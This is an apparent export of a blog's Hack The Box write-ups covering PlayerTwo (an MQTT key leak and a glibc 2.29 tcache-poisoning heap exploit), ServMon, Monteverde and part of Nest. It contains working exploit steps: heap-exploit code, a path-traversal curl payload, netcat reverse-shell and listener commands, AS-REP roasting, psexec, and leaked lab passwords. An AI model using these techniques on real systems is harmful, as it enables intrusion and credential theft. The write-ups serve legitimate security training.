/etc/mosquitto/conf.d\n By googling it, we get that Mosquitto is an open-source MQTT broker. The MQTT protocol is a lightweight messaging protocol widely used in the IoT world.\nThe version installed has some public vulnerabilities, but nothing that seems useful:\n$ mosquitto -h\nmosquitto version 1.4.15 (build date Tue, 18 Jun 2019 11:42:22 -0300) We can read the man page to get to know how to interact with the service. The default port is 1883 and it is listening locally.\nPrivilege Escalation User pivoting Let’s continue to dig into Mosquitto service. Maybe the service is broadcasting interesting information. MQTT works with a subscription system. We must subscribe to a topic to start receiving messages published to it. We can start by subscribing to the wildcard topic # with the mosquitto_sub command:\nmosquitto_sub -d -h localhost -t ‘#’ We get a few uninteresting messages every minute…must be triggered by a cronjob.\nThe MQTT protocol implements a $SYS topic that can be used to debug, troubleshoot and monitor the broker. Let’s subscribe to all its sub-topics with '$SYS/#'. After a few seconds we get the private-key used to sign the Protobs firmware in the topic $SYS/internal/firmware/signing:\nmosquitto_sub -d -h localhost -t ‘$SYS/#’ And it happens to be as well the SSH key of the user observer! We SSH in and get the user flag:\nobserver@player2:~$ cat user.txt\nCDE0************************1251 Root escalation We find another PDF in the user home folder Protobs-Release-Notes.pdf. It contains details on the release cycle_,_ threat model and the product roadmap.\nProtobs Threat Model When searching for SUID binaries, we find the Protobs binary in /opt/Configuration_Utility/. This folder contains as well the libc.so.6 (v2.29) and ld-2.29.so libraries that are used by the binary:\nldd Protobs As the owner of the binary is root, we may escalate privileges if we find a vulnerability to exploit. When we launch the binary we see that we can list/read/create/delete game configurations:\nProtobs If we create a new configuration we have to provide the following information:\ncreate new configuration The first thing that comes to mind is to enter very long strings for each input to try to make the app crash. But it does not happen. Let’s retrieve the binary and the libraries locally to analyze them.\nThe file command shows that it is a 64-bit binary that is stripped.\nWe will be using both static analysis with Ghidra and dynamic analysis on an Ubuntu 18.04.3 LTS box with pwndbg.\nStatic Analysis We load the binary in Ghidra and even if there are no symbols, we can easily find the main function and start from there.\nI have renamed the functions’ name and some variables for a better readability. The main config is not really interesting. It outputs some text, the banner then calls the function that shows the menu:\ndecompiled main function Most of the interesting code is in the function that creates a configuration. It first checks if we have still space for a new config. Only 14 are allowed. Then it allocates a 56 bytes buffer on the heap to store the configuration and asks for the config name that can be max 20 characters long:\ndecompiled createConfig function — part 1 The second part retrieves the rest of the configuration. We have the choice to add a description by setting its size to a number greater than 0. When we do that, another buffer is allocated on the heap and its address is stored in the configuration. In copying the description to the heap, we see that the NULL byte is set in a wrong way, it overflows the buffer and may overwrite the next buffer:\ndecompiled createConfig function — part 2 The configuration in the heap looks like:\n[Name (20B) | Contrast (4B) | Gamma (4B) | ResX (4B) | ResY (4B) | Controller (4B) | SizeDesc (4B) | 4 empty bytes | Pointer to desc buffer (8B)] Now let’s have a look at the configuration delete function. We are asked to choose the configuration index to delete and if the index exists, it:\n deallocates the description buffer, if any, deallocates the configuration buffer, zeroes the pointer to the config in the global CONFIG array. decompiled deleteConfig function There may be another issue here. As the configuration buffers are always of the same size (56B), they are re-used. For instance, if we create a configuration, delete it, and re-create it, it will be stored at the same address. The following scenario may lead to a memory double free issue:\n create a configuration A with a description, delete this configuration A, create a configuration B without description. delete this configuration B. Knowing that the free function does not zero the buffers (however, this depends on the implementation), we end up with a configuration B that contains a pointer to the description of A which will be deallocated a second time leading to a double free that leads to memory corruption and in some cases to code execution. Let’s test it:\ndouble free We see that we were right but our double free was detected and the program aborted. This is due to some new mitigations of the Libc introduced in v2.28. We are done with the static analysis.\nDynamic Analysis So what we know so far:\n this is clearly a heap exploitation, we have a double free issue and a NULL byte overflow at our disposal, we have a 64-bit binary that uses Libc v2.29 which adds more heap safeguards. Let’s disable ASLR to ease the debugging process:\n$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space Then we quickly check the binary protections:\nchecksec ./Protobs There is no PIE enabled and we can create the /opt/Configuration_Utility and copy the binary and the libraries. Full RELRO is enabled which means that we will not be able to overwrite the GOT.\nI won’t go into the theory of heap exploitation or heap management, bins, chunks, tcache or the exploitation mitigations of the last Libc versions…because others did it way better than what I could do. You will find in [13] the articles and write-ups I used to exploit this binary. This article was particularly clear and helped me a lot on this topic. The main idea here is:\n the first part is to leak a Libc address. This can be achieved by freeing a chunk in the unsorted bin. The first chunk of the unsorted bin list gets a pointer to the main_arena in its forward and backward pointers (the unsorted bin is a double-linked list). The main_arena is in the Libc. We can probably use the double-free issue to read it. for the second part, as we cannot overwrite the GOT, we can hijack a method like __malloc_hook or __free_hook so that the next time we call malloc or free, respectively, it spawns a shell. We will dig into tcache poisoning by exploiting the double free and the NULL byte overflow to bypass the tcache mitigations. We first create our exploit skeleton with the necessary helper functions to interact with the binary:\n A quick debugging shows that the first configuration heap address is always 0x604260 with ASLR disabled. So we can call the debug() function at any time to see the heap status.\nLet’s see how the heap behaves. We create 2 configs A and B both with a description:\ncreate_config('A'*4, desc='A'*0x5, size=0x5)\ncreate_config('B'*4, desc='B'*0x5, size=0x5) The heap looks like this:\nheap status 1 Now if we delete the configurations, we have this status:\ndelete_config(0)\ndelete_config(1) heap status 2 We clearly see that some data is still present and particularly the pointers to the descriptions (in red). If we now create a new configuration without description, it will replace one of the freed chunk as the chunk size is still the same:\ncreate_config('C'*4, 0) heap status 3 The config C took the place of the config B and kept the pointer to the config B description 0x604300 which points to a heap address 0x6042a0 as it has been freed. So if we read the config C (index 0) we leak the heap address:\nres = read_config(0)\nprint(res) heap address leak Ok, we can leak a heap address, good, but this is not what we want. We want a Libc address. As we are using a Libc 2.29, the freed chunks went to the tcache bin (added in Libc 2.26) as the description sizes were smaller than 0x408 bytes. If we use bigger sizes they will go in the unsorted bins and leak a Libc address instead. Let’s redo the process with a size 0x500:\ncreate_config('A'*4, desc='A'*0x500, size=0x500)\ncreate_config('B'*4, desc='B'*0x500, size=0x500)\ndelete_config(0)\ndelete_config(1)\ncreate_config('C'*4, 0)\nres = read_config(0)\nprint(res) leak fail It’s a fail. The config C description points to the real config B description. If we have a look at the heap:\nheap status 4 The config C took the place of the config B as expected, however, the freed config A took the main_arena address:\nheap status 5 So we need the config C to take the place of the config A and not B. We just have to free first the config B and then the config A as it works as First-In-Last-Out (FILO). Once we do that, we get what we want:\nlibc address leak Now that we have the address 0x7ffff7fc5ca0, we calculate the offset with the Libc base address that we can get on pwngdb with the vmmap command:\nvmmap The offset is therefore 0x7ffff7fc5ca0 — 0x7ffff7de1000 = 0x1e4ca0. This offset is constant for a given Libc version so we can use it on the remote server to get its Libc base address. The code for this part:\n Now that we have the Libc base address we can get the addresses of system and __free_hook that we will be using in the second part:\nsystem = libc.sym['system']\nfree_hook = libc.sym['__free_hook'] Then, as we messed up quite a bit with the heap, we reallocate the freed chunks by adding 2 new configs of the same size and start fresh from there:\ncreate_config('X'*4, desc='X'*0x500, size=0x500)\ncreate_config('X'*4, desc='X'*0x500, size=0x500) After that, we have 3 existing configurations that we won’t alter anymore.\nSince Libc 2.28, a tcache double-free mitigation was added. Now in order to double-free, we need a way to change a chunk size, so when we free it, it goes in a different tcache bin. We will be using the NULL byte overflow to rewrite the next chunk size. This is similar to the technique used in this write-up.\nIn order to exploit the NULL byte overflow, we need the descriptions to be adjacent in the heap. As we saw initially, this is not the case. After a few tries I came up with the following course of actions:\ncreate_config('D'*4, 0)\ncreate_config('E'*4, 0)\ndelete_config(3)\ncreate_config('F'*4, desc='F'*0x78, size=0x78)\ndelete_config(4 )\ncreate_config('G'*4, desc='G'*0x180, size=0x180) We first create 2 configurations D and E without description that will be adjacent. We delete D and create F. The config F will take the place of config D and desc F will be placed right after config E. Finally, we delete E and create G. The config G will take the place of config E and the desc G will be placed after desc F. In this disposition, we are ready for the overflow:\nheap status 6 Moreover, they are created with different description sizes. The first chunk may be anything, we choose 0x78 so it differs from the configuration chunk one (0x58) and will, therefore, use a different tcache bin when freed. The second chunk must be higher than 0x100 so it can become 0x100 once overwritten by the NULL byte. Then in order:\n we delete config G (index 4) then config F (index 3). The desc G chunk will go in the 0x70 tcache bin and the desc F chunk will go in the 0x180 tcache bin: delete_config(4)\ndelete_config(3) we create config H (index 3) with a description of 0x78 bytes. It will take the place of the chunk F and the 0x79th bytes (0x00) will overflow the size of the chunk G description. We prepare as well the argument for the system call as the name of the configuration: create_config('/bin/sh', desc='H'*0x78, size=0x78) heap status 7 now that we have changed the desc G chunk size, we can free it again. For that, we have to create a new config I (index 4) without description. It will take the place of config G and desc I will point to desc G (the one with size 0x100). We can then immediately free it. The desc I/G chunk will go in the 0xf0 tcache bin: create_config('I'*4, 0)\ndelete_config(4) we restore the freed 0x180 chunk. It will take the place of the config I (index 4) but the desc chunk size will remain 0x100: create_config('J'*4, desc='J'*0x180, size=0x180) heap status 8 free it again right away. This will place the chunk again in the 0xf0 tcache bin. As it is the same chunk as before, we have 2 same chunks in the same tcache bin, like a double free :) delete_config(4) heap status 9 We see that as we have 2 same chunks in the bin, the second chunk fd pointer, points to itself. This leads to an arbitrary read/write primitive.\nwith the above, we can now perform a tcache poisoning attack to allocate a chunk on __free_hook and overwrite it with the address of system. So we start by re-allocating a 0xf0 tcache bin chunk and change its fd address to the address of __free_hook: create_config('K'*4, desc=p64(free_hook)+'K'*0xe8, size=0xf0) heap status 10 we re-allocate the same chunk again: create_config('L'*4, desc='L'*0xf0, size=0xf0) heap status 11 we allocate a description chunk on __free_hook and make it point to system: create_config('M'*4, desc=p64(system)+'M'*0xe8, size=0xf0) heap status 12 Finally, the last step is to call free the config H (index 3), the one containing our payload /bin/sh. This will call __free_hook that points to system with, as argument, the pointer to /bin/sh! delete_config(3) To exploit the binary on the server, we can expose it as a remote service with the following command. It will run on port 4444:\n$ mkfifo /tmp/p;nc -lp 4444 \u0026lt; /tmp/p | /opt/Configuration_Utility/Protobs \u0026gt; /tmp/p \u0026amp; And here is the full exploit code:\n We can launch our exploit now and get the root flag:\nexploit and root flag Conclusion As I already said in my Rope write-up, this box was amazing and in my top 3 preferred boxes so far! Those boxes that push you to “go back to school” and learn new things on the fly are what make Hack The Box so enjoyable.\nI am not an expert in heap exploitation and to be honest, this was the first time for me. There are certainly many other ways to exploit it, maybe more straightforward, like not using tcache at all. I am looking forward to reading other write-ups to better understand what else is feasible as I haven't grasped all the subtleties of heap exploitation yet. Great job from the 2 creators!\nResources [1] Twirp\nhttps://github.com/twitchtv/twirp\nhttps://twitchtv.github.io/twirp/docs/intro.html\n[2] Protobuf\nhttps://developers.google.com/protocol-buffers/\n[3] TwirPHP\nhttps://github.com/twirphp/twirp\nhttps://twirphp.readthedocs.io/en/latest/getting-started/installation.html\nhttps://twirphp.readthedocs.io/en/latest/getting-started/best-practices.html\n[4] Hexed\nhttps://hexed.it/\n[5] PHP Reverse Shell\nhttps://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php\n[6] Upgrading from netcat with magic\nhttps://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method-3-upgrading-from-netcat-with-magic\n[7] Mosquitto\nhttps://mosquitto.org/\n[8] Mosquitto 1.4.15 public vulnerabilities\nhttps://www.cvedetails.com/vulnerability-list/vendor_id-10410/product_id-45945/version_id-248536/Eclipse-Mosquitto-1.4.15.html\n[9] MQTT SYS topic\nhttps://github.com/mqtt/mqtt.github.io/wiki/SYS-Topics\n[10] Ghidra\nhttps://ghidra-sre.org/\n[11] pwndbg\nhttps://github.com/pwndbg/pwndbg\n[12] Double freeing memory\nhttps://owasp.org/www-community/vulnerabilities/Doubly_freeing_memory\n[13] Heap Exploitation\nhttps://sensepost.com/blog/2017/painless-intro-to-the-linux-userland-heap/\nhttps://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-riding-free-on-the-heap-double-free-attacks/\nhttps://faraz.faith/2019-10-12-picoctf-2019-heap-challs/\nhttps://faraz.faith/2019-10-24-hitconctf-lazyhouse-balsn-exploit-analysis/\nhttps://cr0wn.uk/2019/defcon-babyheap/\n","description":"OS: Linux | Level: Insane | Creators: MrR3boot \u0026 b14ckh34rt | Released: December 14th, 2019 | Retired: June 27th, 2020 | Difficulty: 7.7/10 | Appreciation: 4.4/5","id":6,"tag":"triwp ; protobuf ; totp ; firmware_injection ; mqtt ; mosquitto ; heap ; pwn ; tcache_poisoning ; libc2.29 ; double_free ; null_byte_overflow","title":"Hack The Box :: PlayerTwo","type":"posts","url":"https://noobintheshell.com/posts/htb_playertwo/"},{"content":" ServMon is an Easy Windows box created by dmw0ng. It was released on April 11th, 2020 and retired on June 20th, 2020. The users rated the difficulty 4.1/10 and gave an appreciation score of 2.1/5.\nServMon Info Card TL;DR We access an FTP server anonymously to retrieve some information about a password file in nathan home directory. A directory traversal/arbitrary file read vulnerability on a NVMS-1000 instance allows us to read this file and get nadine password. We can log in through SSH to retrieve the user flag. Another website exposes an NSClient++ instance. We can read the admin password from its configuration file. We then exploit a known authenticated privilege escalation vulnerability to get the root flag.\nReconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV -p- 10.10.10.184\n PORT STATE  SERVICE VERSION 21/tcp open ftp Microsoft ftpd 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) 80/tcp open http 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp  open microsoft-ds?  5040/tcp open unknown 5666/tcp open nrpe? 6063/tcp open x11? 6699/tcp open napster? 7680/tcp open pando-pub? 8443/tcp open tcpwrapped We discover:\n a Microsoft FTP server, 2 websites on port 80 and 8443, the SMB/RPC and other weird Microsoft ports opened. Web discovery — 80 We access the login page of a network surveillance management software called NVMS-1000:\nwebsite landing page There is a known Directory Traversal vulnerability on this product. However, we do not know the version(s) impacted.\nA Nikto and a folder/file discovery scan do not show much information.\nWeb discovery — 8443 Here we have access to a NSClient++ web application:\nwebsite landing page This is a monitoring tool originally created to work with Nagios. The version 0.5.2.35 has a known authenticated privilege escalation vulnerability.\nNote: if you can’t access it on Chrome due to a certificate error, you can launch Chrome with the --ignore-certicate-errors flag. FTP Anonymous login is enabled and we can access a Users folder that contains the folders Nadine and Nathan. The Confidential.txt file in Nadine folder contains the following message:\nNathan,\nI left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.\nRegards\nNadine\n And the Notes to do.txt in Nathan folder shows:\n Change the password for NVMS - Complete Lock down the NSClient Access - Complete Upload the passwords Remove public access to NVMS Place the secret files in SharePoint SMB SMB requires authentication and we don’t have any credentials at this point.## [2] Gaining Access\nWe know that there may be a Password.txt file in nathan desktop folder. We can try to exploit the directory traversal/arbitrary file read vulnerability to read it. Using the payload of the documented exploit does not work:\n$ curl http://10.10.10.184/../../../../../../../../windows/win.ini With some encoding, however:\n$ curl http://10.10.10.184/..%2F..%2F..%2Fwindows/win.ini\n; for 16-bit app support\n[fonts]\n[extensions]\n[mci extensions]\n[files]\n[Mail]\nMAPI=1 Next, we get the password file…as we know the path:\n$ curl \u0026quot;http://10.10.10.184/..%2F..%2F..%2Fusers/nathan/desktop/passwords.txt\u0026quot;\n1nsp3ctTh3Way2Mars!\nTh3r34r3To0M4nyTrait0r5!\nB3WithM30r4ga1n5tMe\nL1k3B1gBut7s@W0rk\n0nly7h3y0unGWi11F0l10w\nIfH3s4b0Utg0t0H1sH0me\nGr4etN3w5w17hMySk1Pa5$ We can store those passwords and test them with the 2 users we know:\ncrackmapexec smb 10.10.10.184 -u nathan nadine -p pass.txt We get nadine password that we can use to log in through SSH and to get the user flag:\nuser flag Local Reconnaissance \u0026amp; Enumeration According to the NSClient++ exploit description, there are 2 ways to retrieve the password:\n from its configuration file:\nnadine@SERVMON c:\\Program Files\\NSClient++\u0026gt;type nsclient.ini\n[\u0026hellip;]\n; Undocumented key\npassword = ew2x6SsGTxjRwXOT\n; Undocumented key\nallowed hosts = 127.0.0.1\n[\u0026hellip;]\n\n by using the client binary nscp.exe:\nnadine@SERVMON c:\\Program Files\\NSClient++\u0026gt;nscp.exe web --password --display\nCurrent password: ew2x6SsGTxjRwXOT\n But when we use it, we are still not allowed. This is probably due to the allowed hosts config that is set to accept only access from 127.0.0.1.\nPrivilege Escalation Let’s try through an SSH tunnel which would make us browse it from the localhost:\n$ ssh -L 8443:localhost:8443 nadine@10.10.10.184 Then we browse https://localhost:8843…but we can’t reach it. By pinging localhost on the box, we see that it resolves to IPv6 localhost ::1. We retry with:\n$ ssh -L 8443:127.0.0.1:8443 nadine@10.10.10.184 This time we access the website and we can log in…but the whole page is damn slow:\nNSClient\u0026#43;\u0026#43; dashboard We can now try to exploit the known privilege escalation vulnerability. The exploit requires to enable 2 modules: CheckExternalScripts and Scheduler. We can check that they are already enabled. Then we can follow these steps:\n copy Netcat on the server and start a listener locally: $ scp /tools/win/nc64.exe nadine@10.10.10.184:/temp\n$ nc -lnvp 1234 modify the settings of the CheckExternalScripts module to run a Netcat reverse shell: modify CheckExternalScripts configuration reload the module and wait for it: reload module CheckExternalScripts Click once to unload it and once more to re-load it and trigger the reverse shell:\nroot flag I spent quite some time trying to reproduce the exploit steps without success. In the end, there seems to be multiple other ways to get the reverse shell but this was the easiest I could find. Conclusion An easy box exploiting some basic public vulnerabilities. The only difficulty was the stability of the box when many users were trying to exploit it all at once. I think the bad score of this box was mainly due to that.\nAs usual, here are some takeaways:\n update your software, run them with dedicated service accounts and don’t expose them publicly if this is not needed, disable anonymous FTP login, even better…stop using FTP once and for all! Switch to FTPS, SFTP, or possibly to a solution with 2FA. Resources [1] NVMS-1000 Network Surveillance Management Software\nhttp://en.tvt.net.cn/products/188.html\n[2] NVMS-1000 Directory Traversal\nhttps://www.exploit-db.com/exploits/47774\n[3] NSClient++\nhttps://nsclient.org/\n[4] NSClient++ authenticated privilege escalation vulnerability\nhttps://www.exploit-db.com/exploits/46802\n","description":"OS: Windows | Level: Easy | Creators: dmw0ng | Released: April 11th, 2020 | Retired: June 20th, 2020 | Difficulty: 4.1/10 | Appreciation: 2.1/5","id":7,"tag":"arbitrary_file_read ; nvms-1000 ; nsclient++","title":"Hack The Box :: ServMon","type":"posts","url":"https://noobintheshell.com/posts/htb_servmon/"},{"content":" Monteverde is a Medium Windows box created by egre55. It was released on January 11th, 2020 and retired on June 13th, 2020. The users rated the difficulty 4.8/10 and gave an appreciation score of 4.3/5.\nMonteverde Info Card TL;DR We can anonymously bind to an Active Directory to retrieve the list of users and service accounts. The service account SABatchJobs password is the same as the username. With this account, we access a share that contains mhope password in clear-text. We log in through WinRM and retrieve the user flag. As mhope is part of the Azure Admins groups and that Azure AD Connect is installed and configured, we can use a known set of Powershell commands to extract its configuration from the MS SQL database and decrypt the password of the service account, which is…the domain admin. We can then use psexec to get a SYSTEM shell and the root flag.\nReconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV -p- 10.10.10.172\n PORT STATE  SERVICE VERSION 53/tcp open domain? 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-02 07:47:32Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn  Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http  Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp  open mc-nmf .NET Message Framing We discover:\n the usual ports opened in a Windows Domain Controller and __ the domain is MEGABANK.LOCAL, the WinRM management service over HTTP on port 5985. LDAP Anonymous binding is enabled and we can browse the Active Directory with tools like Jxplorer by configuring it as follows:\nJxplorer AD config We get the following information:\n the Domain Controler monteverde.megabank.local is a Windows Server 2019 Standard, the user accounts: username memberOf dgalanos Trading mhope Azure Admins, Remote Management Users smorgan Operations roleary HelpDesk the service accounts: username memberOf SABatchJobs none svc-ata none svc-bexec none svc-netapp none there is an additional user AAD_987d7f2f57d2 that is member of Azure Admins. Sounds like an account used for Azure AD. Its description is: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE. SMB SMB requires authentication and we do not have any credentials at the moment.\nGaining Access With what we discovered so far, let’s store the list of user accounts in a file users.txt and check if a user has a weak password by using a small wordlist:\n$ crackmapexec smb 10.10.10.175 -u users.txt -p pass_small.txt Nothing shows up. The next thing we can try is AS-REP Roasting. This attack is explained in detail in this blog post. To make it short, if a user is configured to not require Kerberos pre-authentication, anyone can send a request (AS_REQ) to the KDC and receive a response (AS_REP). The response contains an encrypted chunk of data related to that user that can be cracked offline to retrieve the user password. This can be automatized with tools like Impacket GetNPUsers.py:\nGetNPUsers.py -dc-ip 10.10.10.172 megabank.local/ -usersfile users.txt -format john Same result. Trying with a medium password list is still unsuccessful. Then we tried with blank passwords and the username as password and found the following default credentials: SABatchJobs:SABatchJobs. With that, we can list the available shares:\ncrackmapexec smb 10.10.10.172 -u SABatchJobs -p SABatchJobs --shares The azure_uploads share is empty but the users$ one contains some user folders. However, only one folder is not empty:\nusers$\n\u0026ndash; dgalanos\n\u0026ndash; mhope\n\u0026ndash; azure.xml\n\u0026ndash; roleary\n\u0026ndash; smorgan The azure.xml file looks like a configuration file to create a password-based Azure Service Principal and contains a plain-text password:\nazure.xml It happens to be mhope password who is member of the Remote Management Users. We can, therefore, log in through WinRM with evil-winrm and get the user flag:\nevil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$ Local Reconnaissance \u0026amp; Enumeration We find a .Azure folder in the user home folder that contains cached Azure tokens inTokenCache.dat:\nC:\\Users\\mhope\\.Azure They are not valid anymore but we can retrieve some information from its content. Were they still valid, we could have possibly replayed them to connect to the Azure tenant. The cache contains 2 pairs of token to access Microsoft Graph API https://graph.windows.net and to access the Azure Resource Manager provider https://management.core.windows.net. The token pair consists of an Access Token and an ID token in the JWT format. This is the result of an OpenID Connect authentication:\nMicrosoft Graph API tokens From this we get as well the user ID john@67632354763outlook.onmicrosoft.com and the tenant ID: 372efea9-7bc4-4b76-8839-984b45edfb98. We do not need to dig further into this for the moment.\nIf we have a look at the installed applications we see some applications related to Azure AD like Azure AD Connect, Azure AD Sync and MS SQL Server used by Azure AD Connect to store metadata and configuration data for the Azure AD Sync service. Azure AD Connect is used to synchronize on-premise AD objects with Azure AD in a hybrid cloud model.\nPrivilege Escalation If we search for known attacks on Azure AD Connect, we come across this article that explains how to retrieve the configuration of Azure AD Sync and how to decrypt the password of the service account used to perform such synchs. In the article, the configuration is stored in an MS SQL Express LocalDB database_._ As explained, the configuration is in clear-text, except for the user password that is stored in an encrypted field. Fortunately mhope is member of the Azure Admins group. Let’s use the given commands:\n Connect to the database: There is no MS SQL Express LocalDB instance on the box. The configuration is stored in a standard MS SQL instance. We need therefore to change the connection string as follows:\n Retrieve the necessary keying material stored in the database to decrypt the password: Retrieve the clear-text and the encrypted configuration: We can print the configuration at this point:\nADSync configuration We can see that the domain administrator account is used for the synch and that its password is encrypted.\nDecrypt the user password and print data: The output of this is:\nDomain: MEGABANK.LOCAL\nUsername: administrator\nPassword: d0m@in4dminyeah! We can now get a SYSTEM shell with psexec:\npsexec.py administrator@10.10.10.172 Conclusion The first part, until the user shell, was quite easy. I really enjoyed the second part that was completely new to me. There should definitely be more boxes related to Azure, AWS and GCP!\nAs usual, here are some takeaways:\n disable Active Directory anonymous binding, change default passwords, don’t re-use then and enforce a strong password policy, update Azure AD Connect as soon as patches are available and use a dedicated service account with the least privileges possible. Resources [1] Jxplorer\nhttp://jxplorer.org/\n[2] AS-REP Roasting\nhttps://www.harmj0y.net/blog/activedirectory/roasting-as-reps/\n[3] Create an Azure Service Principal\nhttps://docs.microsoft.com/bs-cyrl-ba/powershell/azure/create-azure-service-principal-azureps?view=azps-4.2.0\u0026amp;viewFallbackFrom=azps-2.5.0\n[4] Microsoft Graph\nhttps://docs.microsoft.com/en-us/graph/overview\n[5] Azure Resource Manager\nhttps://docs.microsoft.com/en-us/azure/azure-resource-manager/management/overview\n[6] OpenID Connect\nhttps://openid.net/connect/\n[7] Azure AD Connect\nhttps://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-azure-ad-connect\n[8] Azure AD Connect for Red Teamers\nhttps://blog.xpnsec.com/azuread-connect-for-redteam/\n","description":"OS: Windows | Level: Medium | Creators: egre55 | Released: January 11th, 2020 | Retired: June 13th, 2020 | Difficulty: 4.8/10 | Appreciation: 4.3/5","id":8,"tag":"ldap_anonymous_bind ; default_password ; azure_ad_connect","title":"Hack The Box :: Monteverde","type":"posts","url":"https://noobintheshell.com/posts/htb_monteverde/"},{"content":" Nest is an Easy Windows box created by VbScrub. It was released on January 25th, 2020 and retired on June 5th, 2020. The users rated the difficulty 5.2/10 and gave an appreciation score of 4/5.\nNest Info Card TL;DR We access some SMB shares anonymously and retrieve an HR email template containing a temporary user password. We have more accesses with that user and can read a bunch of XML configuration files in the IT share. They leak the encrypted password of the user C.Smith as well as a subfolder of the share Secure$. We mount that subfolder and retrieve the source code of a custom application RU Scanner that reads the config file with the encrypted password. The password is encrypted with AES256-CBC and uses PBKDF2 to derive the key from a passphrase. We decrypt the user password and retrieve the user flag from the Users/C.Smith shared folder. There is a custom service running as well. It allows us to explore the file system and read files if we have the password to enable the debug mode. We find an empty file in C.Smith folder that contains the debug password in its extended attributes (or streams). We activate the debug mode in the service and read one of the config files that leaks the encrypted password of the Administrator. We found as well a binary used by the service in C.Smith folder. We decompile it (.NET) and see that the same encryption scheme is used again. We decrypt the Administrator password and get a shell with psexec to retrieve the root flag.\nReconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV -sC -p- 10.10.10.178\n PORT STATE  SERVICE VERSION 445/tcp open microsoft-ds? 4386/tcp  open unknown We discover the SMB port open as well as an unknown service on port 4386, probably a custom service.\nSMB discovery Anonymous access is enabled and we can list the available shares with crackmapexec:\ncrackmapexec smb 10.10.10.178 -u ‘xxx’ -p ‘’ — shares We have read access to 2 shares: Data and Users. The Users share contains some user folders but they are not accessible anonymously:\nUsers share content The Data share contains some IT folders and only the Shared subfolder is accessible:\nData share content The full content of the Shared folder is:\nShared\n\u0026ndash; Maintenance\n\u0026ndash; Maintenance Alerts.txt\n\u0026ndash; Templates\n\u0026ndash; HR\n\u0026ndash; Welcome Email.txt\n\u0026ndash; Marketing We retrieve the 2 text files. The first one does not contain anything useful:\nThere is currently no scheduled maintenance work The HR file contains:\nWe would like to extend a warm welcome to our newest member of staff, \u0026lt;FIRSTNAME\u0026gt; \u0026lt;SURNAME\u0026gt;\nYou will find your home folder in the following location:\n\\\\HTB-NEST\\Users\\\u0026lt;USERNAME\u0026gt;\nIf you have any issues accessing specific services or workstations, please inform the IT department and use the credentials below until all systems have been set up for you.\nUsername: TempUser\nPassword: welcome2019\nThank you\nHR\n It leaks a temporary user credentials. With this account, we can read a new share Secure$:\ncrackmapexec smb 10.10.10.178 -u TempUser -p welcome2019 — shares On top of that, we have as well access to Users/TempUser that contains a unique file New Text Document.txt but it is empty. Back to the Secure$ share. It contains 3 folders: Finance, HR and IT but we can’t read their content. However, Data/IT is now accessible and contains multiples files. Let’s mount it:\n$ mkdir Data\n$ mount_smbfs //TempUser@10.10.10.178/Users ./Data We discover a bunch of XML config files in Data/IT/Configs. A config file contains credentials information. It is related to an app called RU Scanner:\nData/IT/Configs/RU Scanner/RU_config.xml We saw a folder C.Smith previously in the Users share. If we base64-decode the password we don’t get much, so probably this is an encrypted or hashed password. We can recover the bytes:\n$ echo -n \u0026quot;fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=\u0026quot; | base64 -D | xxd -p\n7d313301f603a33d58ce4aa14241fa1901582a9d57639866edb8ce3fceb26311 It is 256 bit so our first guess is either it is a SHA256 hash or an AES256 encrypted password.\nIn NotepadPlusPlus/config.xml, we find the file history of the user C.Smith:\n\u0026lt;History nbMaxFile=\u0026quot;15\u0026quot; inSubMenu=\u0026quot;no\u0026quot; customLength=\u0026quot;-1\u0026quot;\u0026gt;\n\u0026lt;File filename=\u0026quot;C:\\windows\\System32\\drivers\\etc\\hosts\u0026quot; /\u0026gt;\n\u0026lt;File filename=\u0026quot;\\\\HTB-NEST\\Secure$\\IT\\Carl\\Temp.txt\u0026quot; /\u0026gt;\n\u0026lt;File filename=\u0026quot;C:\\Users\\C.Smith\\Desktop\\todo.txt\u0026quot; /\u0026gt;\n\u0026lt;/History\u0026gt; It leaks a file and a subfolder of the Secure$ share.\nPort 4386 This is a custom reporting service that we can access with telnet. It does not work with nc, not even with the -T flag to use telnet negotiation…not sure why.\nWe guess the Help command:\nHQK Reporting Service We can explore the available commands. LIST seems to list the files and folders in the current folder:\nQUERY FILES IN CURRENT DIRECTORY\n [DIR]  COMPARISONS [1] Invoices (Ordered By Customer) [2] Products Sold (Ordered By Customer) [3] Products Sold In Last 30 Days We should be able to use RUNQUERY to run queries with a query ID as argument. However, running RUNQUERY 1, 2 or 3 does not work.\nWe can use the SETDIR command as we use cd to move in the file system:\nSETDIR command Running HELP LIST shows another command SHOWQUERY which supposedly can read the content of a file, however, we need to be in DEBUG mode and it requires a password.\nGaining Access We do not have access to any folder of the Secure$ share with our TempUser access rights. However, we can mount and read the subfolder we found earlier Secure$\\IT\\Carl:\n$ mkdir Secure\n$ mount_smbfs //TempUser@10.10.10.178/Secure$/IT/Carl ./Secure/ In there, we access a VB Projects/WIP/RU folder that contains the source code of RU Scanner. We might find out how C.Smith password in the config file was encrypted or hashed.\nThe Main function in Module1.vb is 